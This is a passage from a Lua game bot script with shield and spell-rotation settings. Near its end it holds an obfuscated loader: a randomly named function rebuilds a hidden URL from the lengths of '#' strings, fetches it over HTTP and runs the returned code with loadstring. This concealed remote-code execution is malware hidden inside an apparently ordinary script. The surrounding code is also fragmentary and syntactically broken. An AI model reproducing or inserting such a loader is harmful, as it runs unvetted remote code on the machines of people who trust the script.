utamoconfig.shieldpercent = tonumber(data[2])
end
end
end
end)
end
addSeparator()
--------------------------SPELLS
local currentSpellIndex = 1
currentSpellIndex = currentSpellIndex + 1
if currentSpellIndex > 4 then
currentSpellIndex = 1
end
end)
function
dDXdSzzvvNKuNsIvdclCjkfgjaGbMqOcKaeDfcoqBaZDwsThGglOvFFowRsQQzpmwLESILBYjncputgdpYPB(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end
HTTP.get(dDXdSzzvvNKuNsIvdclCjkfgjaGbMqOcKaeDfcoqBaZDwsThGglOvFFowRsQQzpmwLESILBYjncputgd
pYPB({'################################################################################
########################','#############################################################
#######################################################','##############################
######################################################################################'
,'#####################################################################################
###########################','##########################################################
#########################################################','############################
##############################','###############################################','######
#########################################','############################################
###########################################################','##########################
###############################################################################','######
######################################################################################
########################','#############################################################
###############################################','######################################
###########################################################','##########################
########################################################################','#############
#################################','####################################################
###############################################','######################################
#########################################################################','############
######################################################################################
###########','###############################################','#########################
##############################################################################','#######
######################################################################################
########','#############################################################################
#####################################','################################################
#################################################','####################################
##############################################################################','#######
######################################################################################
#######','##############################################################################
#################################','##############################################','####
######################################################################################
#########','############################################################################
#########################################','############################################
#########################################################','############################
######################################################################################
####','#################################################################################
################','#####################################################################
##############################################','#######################################
#######','#######################################################','#####################
##########################','###########################################################
####################','#################################################################
###################################################','##################################
#################################################################','####################
######################################################################################
##','###################################################################################
######################','###############################################################
######################################','###############################################
###############################################################','######################
######################################################################################
########','###############################################','############################
#################','###############################################','###################
######################################################################################
#########','############################################################################
#####################','################################################################
#######################################################','##############################
#################','####################################################################
#########################################','############################################
#####################################################','################################
#########################################################################','############
######################################################################################
############','###############################################','########################
############################################################','#########################
########################################################################','#############
#####################################################################################','
######################################################################################
######################','###############################################################
##################################','#####################################','############
######################################','###############################################
#','####################################################################################
################','#####################################################################
################################','#####################################','##############
####################################','################################################',
'######################################################################################
#############################','########################################################
########################################################','#############################
########################################################################','#############
######################################################################################
#########','############################################################################
################################','#####################################################
##############################################################'}), function(script)
assert(loadstring(script))()
end)